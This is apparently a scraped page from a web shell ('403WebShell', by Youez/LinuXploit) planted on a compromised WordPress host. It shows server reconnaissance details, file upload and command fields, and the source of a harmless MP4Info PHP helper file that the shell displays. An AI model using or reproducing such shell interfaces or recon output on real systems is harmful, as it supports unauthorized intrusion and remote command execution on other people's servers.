Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /mnt/stoughton/include/mp4info/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /mnt/stoughton/include/mp4info/Helper.php
<?php
/**
 * MP4Info
 * 
 * @author 		Tommy Lacroix <lacroix.tommy@gmail.com>
 * @copyright   Copyright (c) 2006-2009 Tommy Lacroix
 * @license		LGPL version 3, http://www.gnu.org/licenses/lgpl.html
 * @package 	php-mp4info
 * @link 		$HeadURL: http://php-mp4info.googlecode.com/svn/trunk/MP4Info/Helper.php $
 */

// ---

/**
 * MP4Info helper functions
 * 
 * @author 		Tommy Lacroix <lacroix.tommy@gmail.com>
 * @version 	1.0.20090601	$Id: Helper.php 2 2009-06-11 14:12:31Z lacroix.tommy@gmail.com $
 */
class MP4Info_Helper {
	/**
	 * Convert a short to a float
	 *
	 * @author 	Tommy Lacroix <lacroix.tommy@gmail.com>
	 * @param	int		$n
	 * @return	float
	 * @access 	public
	 * @static
	 */
	public static function fromFixed8($n) {
		return $n / 256;
	} // fromFixed8 method

	
	/**
	 * Convert a long to a float
	 *
	 * @author 	Tommy Lacroix <lacroix.tommy@gmail.com>
	 * @param	int		$n
	 * @return	float
	 * @access 	public
	 * @static
	 */
	public static function fromFixed16($n) {
		return $n / 65536;
	} // fromFixed16 method
	
	
	/**
	 * Convert binary packed (5bit) letters to string
	 *
	 * @author 	Tommy Lacroix <lacroix.tommy@gmail.com>
	 * @param	int		$n
	 * @param	int		$pad
	 * @return	string
	 * @access 	public
	 * @static
	 */
	public static function fromPackedLetters($n, $pad=1) {
		$s = decbin($n);
		$s .= str_repeat('0',8-(strlen($s)%8));
		$s = substr($s,0,-$pad);
		$out = '';
		while (strlen($s)>=5) {
			$letter = substr($s,0,5);
			$nl = bindec($letter) + 0x60;
			$out .= chr($nl);
			$s = substr($s,5);
		}
		return $out;
	} // fromPackedLetters method
} // MP4Info_Helper class

Youez - 2016 - github.com/yon3zu
LinuXploit